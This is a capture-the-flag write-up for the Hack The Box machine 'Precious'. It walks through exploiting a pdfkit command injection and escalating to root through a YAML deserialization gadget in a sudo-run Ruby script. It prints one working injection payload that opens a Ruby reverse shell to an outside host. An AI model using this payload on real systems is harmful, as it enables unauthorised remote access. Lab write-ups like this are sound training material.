Hack The Box: Precious

Hack The Box: Precious
Photo by Kaur Kristjan / Unsplash

Initial Enumeration

A simple NMAP scan to just get the lay of the land initially. Only two ports appear to be open. SSH appears to allow for password auth, and the web port hosts a page that allegedly converts pages to PDFs.

Brute forcing additional pages on the web server did not yield any results.

After poling around for a bit trying to achieve command injection, I finally took a look at the raw data being sent back from the server when I was able to render a PDF.

Oddly, the PDF would only be rendered when I capitalized the HTTP portion of the URL. Anyways, using exiftool on the resultant file indicates that it was generated by pdfkit.

Turns out that pdfkit up to version 0.8.6 is vulnerable to command injection. With that in mind, I was able to use a POC here to achieve a reverse shell using this payload.

http://example.com/NAME=?%20` ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("",8081))'`

After some local enumeration, I was able to find some credentials for henry in the ruby user's home directory.

And with that password, I can SSH to the machine as Henry.

Some very quick enumeration reveals that Henry can run both Ruby on update_dependencies.rb as root without a password. However, that file is write protected so a direct edit won't work. But it is world readable.

From the file, I can see that it will load a dependencies.yml file from the current directory. Researching this for a quick second led me to this blog that outlines a gadget for command execution via YAML loads. With this I am able to read the root flag successfully and could ultimately escalate to the root user.